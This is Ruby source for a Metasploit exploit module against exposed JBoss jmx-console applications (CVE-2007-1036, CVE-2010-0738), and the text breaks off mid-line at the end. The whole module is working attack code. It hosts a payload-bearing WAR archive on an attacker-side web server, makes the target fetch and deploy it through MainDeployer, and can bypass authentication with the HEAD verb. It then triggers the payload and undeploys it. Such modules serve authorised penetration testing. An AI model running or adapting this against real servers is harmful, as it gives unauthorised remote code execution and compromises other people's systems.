## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss JMX Console Deployer Upload and Execute', 'Description' => %q{ This module can be used to execute a payload on JBoss servers that have an exposed "jmx-console" application. The payload is put on the server by using the jboss.system:MainDeployer functionality. To accomplish this, a temporary HTTP server is created to serve a WAR archive containing our payload. This method will only work if the target server allows outbound connections to us. }, 'Author' => [ 'jduck', 'Patrick Hof' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-1036' ], [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST [ 'OSVDB', '33744' ], [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], #For CVE-2010-0738 ], 'DisclosureDate' => 'Feb 20 2007', 'Privileged' => true, 'Platform' => [ 'win', 'linux' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ # # detect via /manager/serverinfo # [ 'Automatic', { } ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], # # Java version # [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Payload' => { 'DisableNops' => true } } ] ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), OptString.new('SHELL', [ false, 'The system shell to use', 'automatic' ]), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]), OptString.new('VERB', [ true, 'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]), OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]), ], self.class) end def auto_target print_status("Attempting to automatically select a target...") if not (plat = detect_platform()) raise RuntimeError, 'Unable to detect platform!' end # TODO: detection requires HTML parsing arch = ARCH_X86 # see if we have a match targets.each { |t| if (t['Platform'] == plat) and (t['Arch'] == arch) return t end } # no matching target found return nil end def exploit datastore['BasicAuthUser'] = datastore['USERNAME'] datastore['BasicAuthPass'] = datastore['PASSWORD'] jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8)) verb = 'GET' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST') verb = 'HEAD' end mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target() if (not mytarget) raise RuntimeError, "Unable to automatically select a target" end print_status("Automatically selected target \"#{mytarget.name}\"") else print_status("Using manually select target \"#{mytarget.name}\"") end arch = mytarget.arch # Find out which shell if we're using a Java target if (mytarget.name =~ /Java/) if not (plat = detect_platform()) raise RuntimeError, 'Unable to detect platform!' end case plat when 'linux' datastore['SHELL'] = '/bin/sh' when 'win' datastore['SHELL'] = 'cmd.exe' end print_status("SHELL set to #{datastore['SHELL']}") else # set arch/platform from the target plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]] end # We must regenerate the payload in case our auto-magic changed something. return if ((p = exploit_regenerate_payload(plat, arch)) == nil) # Generate the WAR containing the payload if (mytarget.name =~ /Java/) @war_data = Msf::Util::EXE.to_war(p.encoded, { :app_name => app_base, :jsp_name => jsp_name }) else exe = generate_payload_exe( { :code => p.encoded, :arch => arch, :platform => plat }) @war_data = Msf::Util::EXE.to_jsp_war(exe, { :app_name => app_base, :jsp_name => jsp_name }) end # # UPLOAD # resource_uri = '/' + app_base + '.war' service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri print_status("Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) if (datastore['WARHOST']) service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'] + resource_uri end print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}") if (verb == "POST") res = send_request_cgi({ 'method' => verb, 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'vars_post' => { 'action' => 'invokeOpByName', 'name' => 'jboss.system:service=MainDeployer', 'methodName' => 'deploy', 'argType' => 'java.lang.String', 'arg0' => service_url } }) else res = send_request_cgi({ 'method' => verb, 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'vars_get' => { 'action' => 'invokeOpByName', 'name' => 'jboss.system:service=MainDeployer', 'methodName' => 'deploy', 'argType' => 'java.lang.String', 'arg0' => service_url } }) end if (! res) raise RuntimeError, "Unable to deploy WAR archive [No Response]" end if (res.code < 200 or res.code >= 300) case res.code when 401 print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end raise RuntimeError, "Upload to deploy WAR archive [#{res.code} #{res.message}]" end # wait for the data to be sent print_status("Waiting for the server to request the WAR archive....") waited = 0 while (not @war_sent) select(nil, nil, nil, 1) waited += 1 if (waited > 30) raise RuntimeError, 'Server did not request WAR archive -- Maybe it cant connect back to us?' end end print_status("Shutting down the web service...") stop_service # # EXECUTE # print_status("Executing #{app_base}...") # JBoss might need some time for the deployment. Try 5 times at most and # wait 3 seconds inbetween tries uri = '/' + app_base + '/' + jsp_name + '.jsp' num_attempts = 5 num_attempts.times { |attempt| res = send_request_cgi({ 'uri' => uri, 'method' => verb }, 20) msg = nil if (! res) msg = "Execution failed on #{app_base} [No Response]" elsif (res.code < 200 or res.code >= 300) msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]" elsif (res.code == 200) print_good("Successfully triggered payload at '#{uri}'") break end if (attempt < num_attempts - 1) msg << ", retrying in 3 seconds..." print_error(msg) select(nil, nil, nil, 3) else print_error(msg) end } # # DELETE # # XXX: Does undeploy have an invokeByName? # print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'method' => verb, 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'vars_post' => { 'action' => 'invokeOpByName', 'name' => 'jboss.system:service=MainDeployer', 'methodName' => 'methodName=undeploy', 'argType' => 'java.lang.String', 'arg0' => app_base } }, 20) if (! res) print_error("WARNING: Undeployment failed on #{app_base} [No Response]") elsif (res.code < 200 or res.code >= 300) print_error("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]") end handler end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @war_data) print_error("A request came in, but the WAR archive wasn't ready yet!") return end print_status("Sending the WAR archive to the server...") send_response(cli, @war_data) @war_sent = true end # Try to autodetect the target platform def detect_platform() print_status("Attempting to automatically detect the platform...") path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path }, 20) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end if (res.body =~ /